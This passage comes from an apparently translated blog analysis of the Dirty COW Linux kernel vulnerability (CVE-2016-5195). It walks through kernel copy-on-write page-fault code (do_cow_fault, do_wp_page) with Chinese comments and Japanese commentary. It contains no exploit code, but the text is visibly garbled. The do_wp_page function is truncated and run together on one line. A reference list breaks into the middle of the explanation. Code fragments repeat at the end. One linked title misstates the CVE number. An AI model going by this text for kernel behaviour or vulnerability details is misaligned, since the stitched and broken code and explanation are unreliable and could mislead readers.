if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) { // 检查当前进程使用的内存是否超过了cgroup的限制
page_cache_release(new_page); // 释放COW的新页
return VM_FAULT_OOM; // 返回OOM错误,COW失败
}
ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page); // 从文件中读取数据到fault_page
if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
goto uncharge_out;
if (fault_page) // 读取成功
copy_user_highpage(new_page, fault_page, address, vma); // 将fault_page的数据拷贝到new_page中,实际调用memcpy
__SetPageUptodate(new_page);
pte = pte_offset_map_lock(mm, pmd, address, &ptl);
if (unlikely(!pte_same(*pte, orig_pte))) { // 并发检查
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
goto uncharge_out;
}
do_set_pte(vma, address, new_page, pte, true, true); // 设置新页的PTE,该页为可写匿名页
mem_cgroup_commit_charge(new_page, memcg, false);
lru_cache_add_active_or_unevictable(new_page, vma);
pte_unmap_unlock(pte, ptl);
if (fault_page) {
unlock_page(fault_page);
page_cache_release(fault_page);
} else {
/*
* The fault handler has no page to lock, so it holds
* i_mmap_lock for read to protect against truncate.
*/
i_mmap_unlock_read(vma->vm_file->f_mapping);
}
return ret;
uncharge_out:
mem_cgroup_cancel_charge(new_page, memcg);
page_cache_release(new_page);
return ret;
}
最初のページフォールトでは、do_fault内のdo_cow_faultによってファイル内容がメモリに読み込まれ、pteが設定されています。今回は書き込み許可が原因で発生した2回目のページフォールトであり、handle_pte_faultから呼び出されるdo_wp_pageの流れは以下の通りです。
まず、pteに対応するページを取得する
次に、COWの流れはreuse_swap_pageに進み、そのページを使用しているTaskが1つだけかどうかを判定する
もし1つだけなら、do_cow_faultで割り当てられた新しいページをそのまま再利用し、wp_page_copyでページ内容をコピーする。これでCOWが完了する```c
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
spinlock_t *ptl, pte_t orig_pte)
__releases(ptl)
{
struct page *old_page;
old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);
pte_unmap_unlock(page_table, ptl);
return wp_page_copy(mm, vma, address, page_table, pmd,
orig_pte, old_page);
}
/*
- [Linuxのページフォールト処理を徹底解説 —— 図解 Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [カーネルの視点からmmapメモリマッピングの本質を探る(ソース実装編)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [CVE-2016-5195の脆弱性分析と再現](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [【脆弱性分析】CVE-2016-5195 Dirtycow: Linuxカーネルの権限昇格脆弱性分析](https://www.anquanke.com/post/id/84784)
- [Linuxのページフォールト処理フロー分析とCVE-2021-5195分析](https://www.anquanke.com/post/id/290851)
- [Linuxの高危険脆弱性Dirtycowまとめ](https://zhuanlan.zhihu.com/p/25918300)
- [走れLinuxカーネル](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
kmapに戻り、プロセスが書き込みを完了します。ページにダーティフラグが設定され、最終的に変更がファイルに同期され、権限昇格の書き込みが完了します。/*
pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }